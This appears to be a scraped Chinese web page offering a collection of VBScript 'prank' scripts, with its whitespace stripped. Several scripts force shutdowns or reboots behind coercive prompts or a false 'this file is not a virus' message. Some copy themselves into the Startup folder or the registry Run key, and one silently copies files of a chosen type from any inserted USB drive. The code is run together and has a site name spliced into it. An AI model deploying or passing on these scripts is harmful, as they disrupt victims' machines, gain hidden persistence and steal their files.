dimaa=10SetobjShell=CreateObject("Wscript.Shell")objShell.Run"shutdown-s-t10",,trueSets=CreateObject("sapi.spvoice")whileas.Speakaa=a-1wscript.sleep100wendCreateObject("SAPI.SpVoice").Speak"Bomb?"复制代码如下:
docreateobject("wscript.shell").runchr(34)&wscript.scriptname&chr(34)loop复制代码如下:
msgbox"此文件无毒 ， 请放心应用 。",vbretrycancel,"体系提醒 。"dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.Run"cmd.exe/cshutdown-s-t300"wscript.sleep2000dimadoa=inputbox("输入abc ， 否则关机 。")ifa="abc"thenmsgbox"很遗憾 ， 你中招了 ， 这是整人程序 ， 你就等着关机吧！"exitdoelsemsgbox"乖点 ， 输入abc"endifloop复制代码如下:
onerrorresumenextdimWSHshellAsetWSHshellA=wscript.createobject("wscript.shell")WSHshellA.run"cmd.exe/cshutdown-r-t6-c""说我是猪 ， 不说我是猪就一分钟关你机 ， 不信 ， 试试""",0,truedimadowhile(a<>"我是猪")a=inputbox("说我是猪,就不关机 ， 快撒 ， 说""我是猪""","说不说","不说",8000,7000)msgbox"乖"loopmsgbox"早说就行了嘛"dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"cmd.exe/cshutdown-a",0,truemsgbox"自己骂自己的不要脸~~~~~~",4,""复制代码如下:
msgbox"你是不是很无聊啊？",4msgbox"我来陪你玩会儿"msgbox"做好玩儿的预备吧！"domsgbox"你无聊吗?",vbinformation,"你无聊吗？"loop复制代码如下:
onerrorresumenextsetwr=createobject("scripting.filesystemobject")setws=createobject("wscript.shell")setf=wr.getfile(wscript.scriptfullname)q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Startup")ifnotf="Win32.vbs"thenwr.copyfilef,q&"\Win32.vbs",truews.run"shutdown-p",vbhide这个太可恶了只好重启复制代码如下:
setws=createobject("wscript.shell")dows.sendkeys"{f5}"loop复制代码如下:
DimAutoRunProgramSetAutoRunProgram=WScript.CreateObject("WScript.shell")RegPath="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"Type_Name="REG_SZ"Key_Name="QUESTION.vbS"Key_data="C:\windows\system32\QUESTION.vbs"AutorunProgram.RegWriteregpath&Key_Name,Key_data,Type_NameDimfso,fileSetfso=CreateObject("Scripting.FileSystemObject")Setfile=fso.getfile(WScript.ScriptFullName)file.copy"c:\windows\system32\"Setfso=CreateObject("Scripting.FileSystemObject")f=fso.DeleteFile(WScript.ScriptName)SetobjShell=CreateObject("Wscript.Shell")objShell.Run"shutdown-s-t5",,true复制代码如下:
setwmp=createobject("wmplayer.ocx")setcd=wmp.cdromcollection.item(0)docd.ejectloop复制代码如下:
onerrorresumenextdimWSHshellAsetWSHshellA=wscript.createobject("wscript.shell")WSHshellA.run"cmd.exe/cshutdown-r-t60-c""喊我声爹 ， 快喊""",0,truedimadowhile(a<>"爹")a=inputbox("喊我爹,快撒 ， 喊""爹""","喊不喊","不喊",8000,7000)msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox"loopmsgboxchr(13)+chr(13)+chr(13)+"儿子"dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"cmd.exe/cshutdown-a",0,truemsgboxchr(13)+chr(13)+chr(13)+"等下老爹买棒棒糖给你吃"复制代码如下:
onerrorresumenextdimWSHshellAsetWSHshellA=wscript.createobject("wscript.shell")WSHshellA.run"cmd.exe/cshutdown-r-t120-c""说你爱我 ， 不说你爱我就两分钟关你机 ， 不信 ， 试试""",0,truedimadowhile(a<>"我爱你")a=inputbox("说你爱我,就不关机 ， 快撒 ， 说""你爱我""","说不说","不说",8000,7000)msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox"loopmsgboxchr(13)+chr(13)+chr(13)+"早说就行了嘛 ， 何必这么费劲"dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"cmd.exe/cshutdown-a",0,truemsgboxchr(13)+chr(13)+chr(13)+"哈哈哈哈 ， 今天真过瘾复制代码如下:
i=MsgBox("由于你灌水太水须要爆破电脑 。"&_vbCrLf&"肯定爆破吗？",vbOKCancel,_"爆破电脑体系！！！！！")ifi=1thenCreateObject("SAPI.SpVoice").Speak"bone"endif复制代码如下:
OnErrorResumeNextDimii=0Setfso=CreateObject("Scripting.FileSystemObject")IP=InputBox("请输入要监控的U盘盘符:","U盘大盗-By最聪慧的猪","I:")ext=InputBox("请输入要偷盗的文件名的扩大名:","U盘大盗-By最聪慧的猪","txt")MyFolder=InputBox("请输入保留文件的路径:","U盘大盗-By最聪慧的猪","E:\U盘大盗")fso.CreateFolder(MyFolder)DoWScript.Sleep1000Iffso.FolderExists(IP&"\")ThenExitDoLoopScan(IP&"\")SubScan(Folder_)OnErrorResumeNextSetFolder_=fso.GetFolder(Folder_)SetFiles=Folder_.FilesForEachFileinFilesext_=fso.GetExtensionName(File)ext_=Lcase(ext_)ext=Lcase(ext)Ifext_=extTheni=i+1fso.GetFile(File).Copy(MyFolder&"\"&i&"_"&红豆博客nbsp;&File.Name)EndIfNextSetSubFolders=Folder_.SubFoldersForEachSubFolderInSubFoldersScan(Subfolder)NextEndSub【三十二个vbs整蛊代码整人代码大全】